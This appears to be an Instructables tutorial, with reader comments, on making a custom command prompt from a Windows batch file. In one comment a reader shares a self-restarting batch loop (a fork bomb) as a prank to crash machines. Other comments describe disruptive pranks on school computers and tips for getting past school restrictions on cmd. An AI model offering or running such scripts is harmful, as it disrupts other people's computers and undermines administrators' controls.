This will teach u how to create your own command prompt!!!

Step 1: Creating the document.

Step 1:Right click on your desktop. Select new text document.
This will create the document u need to create the command prompt.
<p>This is not creating any other than a shortcut command to the pre existing cmd.exe which people can utilize just by typing cmd in thee run dialog. But for those new to programming it is a good start. </p>
<p>Dude, this was seven years ago. I do Artificial Intelligence research now and I find that people still commenting on this hilarious.</p>
thats way to complicated man..........all u have to do is open up notepad and type command.com and save it as (watever u want).bat
<p>If cmd.exe and command.com is not available, that will not work, bro. Nice try, though (NO OFFENSE!).</p>
Fancy seeing you here, Griff xD
that doesnt always work
no offense, but is typing so few lines such a big deal? it's like 20 seconds of copying+pasting or typing. plus this code lets you personalize it. i've never used batch code before and this is pretty cool for me.
and if you continue, you can actually create text adventure games, like i have made a few.. maybe one day i'll make an instructable
<p>I did it, though. This is my code:</p><p>@echo off</p><p>ECHO v.1.1.1</p><p>@echo off</p><p>break off</p><p>verify on</p><p>Color 0f</p><p>title F:\fsytem32\Command Prompt of JOB (3DS)</p><p>ver</p><p>:cmd</p><p>set /p cmd=command:</p><p>%cmd%</p><p>echo.</p><p>goto cmd</p><p>Well, my own command prompt cannot execute the command GetTime, though (and also on other custom command prompts). When you execute GetTime, it will close instead the custom command prompt. I don't know how to solve this though, so use the original command prompt to execute GetTime.</p>
I made this when I was a little kid in elementary school lol! I didn't think people would read it this much.
Well, when you get to middle and high school the techies start blocking stuff like this. Unfortunately, they blocked this one 2. If Anyone has similair versions, please let me know via privat message =)
My version<br> ********************<br> <br> @echo off<br> title Command Prompt - by account3r2<br> ver<br> echo (C) Copyright Microsoft Corp.<br> echo.<br> :cmd<br> set /p &quot;cmd=%cd%&gt;&quot;<br> %cmd%<br> echo.<br> goto cmd<br> <br> ************************<br> its awesome check it out copy BETWEEN THE stars (******)<br> thanks<br>
Not to be degrading, but how is that different from the one you would normally use? That makes absolutely no sense.<br><br>The one in this tut, although old, is green and is completely customized based on your wants. <br><br>Trust me, if you think batch is cool, learn a new language that is actually useful like C++ or C#. Those are probably the coolest. You also have Ruby and Python which I incredibly love and Java for some cool stuff as well.
Yeah, I know that was a long time ago when I didn't know very much about programming and also that was supposed to be for schools/something that blocks the normal cmd... I have learned more programming languages and better batch programming, too... Sorry.
I cant tell what this does. I did it and it didnt do anything,
Yeah, sorry, I made that a while ago when I didn't know that much about this stuff... I have my own instructable now but it needs work still... but I have made many versions with security from my new knowledge of the BATCH language.
you say that this is a command prompt, in ur script i see no commands at all
A command prompt &quot;prompts&quot; you for a command. Basically, this is just a customized command prompt in windows. I might make a different one in C++ in a while.
Probably a virus.
&nbsp;echo off<br /> echo Delete all files? (Y/N)<br /> pause &gt;nul<br /> dir /s<br /> dir /s<br /> msg * All files deleted...<br /> start http://bit.ly/RR<br /> msg * RICK ROLL'd!!!!!!!! lol n00b<br /> <br /> <br /> I do this to all the computers at school. lol<br /> <br />
At school, I made an app so when you click it, the disk tray goes in and out every few seconds lol. I also have one so that when you click it, then right click or press start, it randomly clicks something lol. I put both on when there was a sub, and I brought my freind to show him my Matrix thing on the computer, the teacher was on it with a super confused/frustrated look, trying to fix it XD. Anyhoo, I edited your code a little bit because it didnt work right on mine, so use this a .bat file.<br><br>@echo off<br> echo Delete all files? (Y/N)<br> pause &gt;nul<br> dir /s<br> echo all files deleted. press e to exit<br>pause &gt;nul<br>echo RICK ROLL'd!!!!!!!! lol n00b<br>pause &gt;nul<br>
oh yeah i forgot to mention this is the first time i have been rick roll'd lol
You are a genious i have to do that!<br /> hey in return ill give you something copy this and save as a batch file in notepad:<br /> :s <br /> start %0<br /> goto :s<br /> <br /> &nbsp;but dont run it on ur own computer or it will crash from pulling up cmd so many times!&nbsp;=D
or you could do:<br /> <br /> <br /> start<br /> filename.extension*<br /> <br /> <br /> and then name it filename.extension*<br /> *example: hack.bat or hack.cmd<br />
nice! ive never really used fake viruses, so ive got to hand it to you. Job well done!
i tested it and it has no virus at all<br />
&nbsp;I think you could just like, copy cmd.exe to your flash drive, and make a batch file like the customizable kind and change the path of cmd.exe to this:<br /> %Drive letter name%:\cmd.exe command /perameters
hey this is another code<br /><br />@echo off<br />color 0a<br />:Input<br />title @ %CD%<br />echo.<br />set/p &quot;command= +++&gt; &quot;<br />%command%<br />goto Input<br />
why not just use the prompt command?
That`s what <em>I</em> meant!<br/>
Well... with UI (In batch!) (aka. choice, set /p, etc.)
you could, but practical uses of batch files can do everything in an instant, when in the actual command prompt, it could take a while to type everything
Heh, you could just make a .bat file meant to be ran <em>from</em> cmd that does everything.(It may <em>may</em> be complicated!)<br/>
what is the purpose of the @echo off
It hides the coding when actually viewing the .bat you can try going @echo on, it will make it real obvious :D
It just opens as a txt file for me...what do I need to change?
press SAVE AS and save it as prompt.BAT the .bat runs it in a cmd
did you save it as .bat? when you save, you need to type the title with .bat on the end or it will open as a txt file.
Erm, no offense. But you could also press Windows Key + R to open the run box, type in cmd and hit enter. Bam, command prompt. You can take things alot further with cygwin, the linux like enviroment for windows. www.cygwin.com/
Many schools also disable the run dialogue.
Though not exactly a solution to your point, you can get past a huge number of school safety features by running your favorite linux distro off a CD/Flash Drive. I won't go into the specifics, but some quick research will give you all the info you need.
that is awesome... i like it alot...!
yes that is true. But at school/ offices, they like to disable CMD.
No offense dude, but it would be cooler to have an Independent command prompt using C/C++(etc.) besides batch files thats run with cmd... ofcourse there are programs that turn batch's into executables
hey does anyone know whats wrong with my computer??....when i click command prompt it say "Another program is currently using this file" and my task manager doesn't work either so i can't check it. My task manager doesn't ever say anything when i click ctrl+alt+del or by right clicking taskbar. Anyone have an idea of how to fix this without having tho reformat computer??
There probably "is" another program using the file... many homebrew or basement-coded projects involve running a BASH or batch script in the background. Try closing all the programs except for command prompt, if the problem continues.
sounds like a virus to me!! Back up your hard drive.!
to late my drivers started disappearing a few weeks ago and now my computer is not detecting my harddive anymore......i cant reinstall windows either so it looks like time to by a new hard drive or just a whole nthing computer....maybe this time trying to download minimal stuff
my dad found a cd that set system to factory settings since my built in restore didn't work and some how it detected the harddrive and my computer works again.
i typed<br/><br/>@echo off<br/>break off<br/>title Wo Wo Great Prompt<br/>color 0a<br/>cls<br/><br/>:cmd<br/>set /p cmd=Please type your command: <br/>echo.<br/>echo Your wish is my command!<br/>echo.<br/>%cmd%<br/>goto cmd<br/>echo. <br/><br/>and everytime i type a command &quot;Your wish is my command!&quot; appears before the command is taken. <br/>

About This Instructable


17 favorites


More by Tuxmascot: How to create your own command prompt in windows xp
Tags: command prompt
Add instructable to: